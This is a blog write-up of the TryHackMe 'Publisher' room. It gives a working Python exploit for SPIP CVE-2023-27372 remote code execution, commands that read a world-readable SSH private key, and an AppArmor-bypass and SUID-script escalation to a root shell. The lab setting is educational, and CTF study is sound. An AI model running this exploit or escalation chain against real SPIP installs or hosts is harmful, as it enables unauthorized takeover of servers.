> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Publisher Writeup: SPIP RCE & AppArmor Bypass
- URL: https://taiwanding.com/en/tryhackme-publisher-writeup/
- Published: 2025-10-16T13:33:32.000Z
- Updated: 2026-07-15T02:49:59.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

## Room Info

- **Platform**: TryHackMe
- **Room Name**: Publisher
- **Difficulty**: Easy
- **Goal**: Capture the User Flag and the Root Flag
- **Link**: [https://tryhackme.com/room/publisher](https://tryhackme.com/room/publisher?ref=taiwanding.com)

## Reconnaissance

### Nmap Scan

```bash
nmap -Pn -sV -sC 10.201.75.156 -p-

```

**Scan results**:

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache/2.4.41 (Ubuntu)

```

### Web Recon

Browsing to http://10.201.75.156 turns up a SPIP CMS:

```bash
curl -I http://10.201.75.156/spip/spip.php

```

**Key finding**:  
At [http://10.201.75.156/spip/config/](http://10.201.75.156/spip/config/?ref=taiwanding.com) we can read the version, which we can then check against known vulnerabilities!

```
Composed-By: SPIP 4.2.0 @ www.spip.net

```

### Step 1: Initial Access - SPIP CVE-2023-27372 RCE

Vulnerability details

- **CVE**: CVE-2023-27372
- **Affected versions**: SPIP < 4.2.1
- **Vulnerability type**: Remote code execution via PHP deserialization
- **Exploitation vector**: the `oubli` parameter of `/spip.php?page=spip_pass`

Vulnerability analysis  
SPIP uses the dangerous `#ENV**` tag in its password-reset feature, and the regular expression in the `protege_champ()` function is flawed, which allows serialized PHP code to be injected.

### Exploit Script

Download the public exploit:

```bash
wget https://raw.githubusercontent.com/nuts7/CVE-2023-27372/master/CVE-2023-27372.py -O 51536.py

```

**Problem**: the original script has a urllib3 compatibility issue.

**Fix**:

```bash
sed -i '63s/^/# /' 51536.py

```

**Second problem**: the original script only injects the payload but never shows the output.

### Improved Exploit Script

Create `exploit.py`:

```python
#!/usr/bin/env python3
import requests
import bs4
import sys

def get_csrf(url):
    r = requests.get(f'{url}/spip.php?page=spip_pass')
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    return csrf_input['value'] if csrf_input else None

def exploit(url, cmd):
    csrf = get_csrf(url)
    if not csrf:
        print("[-] Failed to get CSRF token")
        return

    print(f"[+] CSRF: {csrf[:30]}...")

    # Calculate the length correctly!
    php_code = f'<?php system("{cmd}"); ?>'
    payload = f's:{len(php_code)}:"{php_code}";'

    print(f"[*] Command: {cmd}")
    print(f"[*] PHP code: {php_code}")
    print(f"[*] PHP code length: {len(php_code)}")
    print(f"[*] Payload: {payload}")

    data = {
        "page": "spip_pass",
        "formulaire_action": "oubli",
        "formulaire_action_args": csrf,
        "oubli": payload
    }

    r = requests.post(f'{url}/spip.php?page=spip_pass', data=data)

    print(f"\n[*] Status: {r.status_code}")

    # Look for the command output
    if 'erreur' not in r.text.lower():
        print("[+] No error detected!")

    # Show the response
    print("\n" + "="*60)
    print(r.text)
    print("="*60)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python3 spip_exploit.py 'command'")
        sys.exit(1)

    url = "http://10.201.75.156/spip"
    cmd = ' '.join(sys.argv[1:])
    exploit(url, cmd)
```

### Running the Exploit

```bash
python3 exploit.py 'id'

```

**Output** (inside the HTML value attribute):

```html
value="s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";"

```

✅ **Code execution achieved!**

### Step 2: Lateral Movement to the think User

Recon the system

```bash
python3 exploit.py 'ls -la /home'
python3 exploit.py 'ls -la /home/think'

```

**Findings**:

```
drwxr-xr-x 2 think think 4096 Jan 10  2024 .ssh
-rw-r--r-- 1 root  root    35 Feb 10  2024 user.txt

```

Check the SSH directory

```bash
python3 exploit.py 'ls -la /home/think/.ssh/'

```

**Key finding**:

```
-rw-r--r-- 1 think think 2602 Jan 10  2024 id_rsa  ← world-readable!

```

Grab the SSH private key

```bash
python3 exploit.py 'cat /home/think/.ssh/id_rsa'

```

Save the output as `think_id_rsa`:

```bash
chmod 600 think_id_rsa
ssh -i think_id_rsa think@10.201.75.156

```

✅ **Logged in successfully!**

### User Flag

```bash
think@ip-10-201-75-156:~$ cat user.txt
Redacted

```

### Step 3: Privilege Escalation to Root - AppArmor Bypass

Initial recon

```bash
# Check for SUID files
find / -perm -4000 2>/dev/null

# Check sudo privileges
sudo -l  # requires a password

# Check the kernel version
uname -a

```

**A suspicious SUID file turns up**:

```
/usr/sbin/run_container  ← a custom binary!

```

Analyze run\_container

```bash
/usr/sbin/run_container

```

**Output**:

```
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up
Enter the ID of the container or leave blank to create a new one:

```

Look at the script contents:

```bash
cat /opt/run_container.sh

```

**Key findings**:

1. `/usr/sbin/run_container` runs with root privileges
2. It calls the `/opt/run_container.sh` script
3. The `validate_container_id` function doesn't exist (error on line 16)

Escalation idea  
If we can **modify** `/opt/run_container.sh`, we can run arbitrary commands as root!

**Problem**: AppArmor restrictions

```bash
echo 'chmod +s /bin/bash' > /opt/run_container.sh
# bash: /opt/run_container.sh: Permission denied

```

AppArmor analysis  
Check the AppArmor profile of the current shell:

```bash
cat /proc/self/attr/current
# /usr/sbin/ash (complain)

cat /etc/apparmor.d/usr.sbin.ash

```

**Key restrictions**:

```
deny /opt/** w,      ← cannot write to /opt/
deny /tmp/** w,      ← cannot write to /tmp/
deny /home/** w,     ← cannot write to /home/

```

**But**: there's no restriction on `/dev/shm/`!

AppArmor bypass trick  
AppArmor restrictions apply **to processes**, not to users! The key is to spawn a **new process** to escape the restrictions.

#### Step 1: Create a Perl script in /dev/shm

```bash
cat > /dev/shm/test.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
EOF

chmod +x /dev/shm/test.pl

```

#### Step 2: Run the Perl script to get a new shell

```bash
/dev/shm/test.pl

```

**Notice how the prompt changes**:

```
think@ip-10-201-14-58:~$  ← original shell (restricted by AppArmor)
$                          ← new shell (unrestricted!)

```

#### Step 3: Modify run\_container.sh from the new shell

```bash
$ echo '#!/bin/bash
/bin/bash -p' > /opt/run_container.sh

```

✅ **Write succeeded!** (because the new shell isn't under AppArmor's thumb)

#### Step 4: Run the SUID binary to trigger the escalation

```bash
$ /usr/sbin/run_container

```

**Escalation successful**:

```
bash-5.0#  ← Root shell!

```

### Root Flag

```bash
bash-5.0# cat /root/root.txt
Redacted

```

## Key Technical Takeaways

### 1\. Exploiting SPIP CVE-2023-27372

- **Output location**: inside the HTML `value` attribute of the POST response

### 2\. Misconfigured SSH Private Key Permissions

- **Problem**: the `id_rsa` file was set world-readable (644)
- **Correct permissions**: it should be 600

### 3\. AppArmor Security Bypass

- **Understanding**: AppArmor restricts **processes**, not users
- **Bypass method**:
  1. Find a directory that's both writable and executable (`/dev/shm/`)
  2. Create a script that spawns a new process
  3. The new process doesn't inherit the AppArmor restrictions
  4. Perform the restricted operation inside the new process

### 4\. SUID Script Exploitation

- **Conditions**:
  - A SUID binary calls an external script
  - The script path can be modified
- **Exploitation**: change the script's contents to run commands as root

## Lessons Learned

I honestly couldn't figure out the privilege escalation on this one. In the end I talked it through with an AI and it revealed my blind spot.  
Claude AI: You'd actually found all the key clues:

1. ✅ `/dev/shm/` is writable
2. ✅ `/opt/run_container.sh` is the target
3. ❌ but you never realized you needed to use `/dev/shm/test.pl` to spawn a **new process** to bypass AppArmor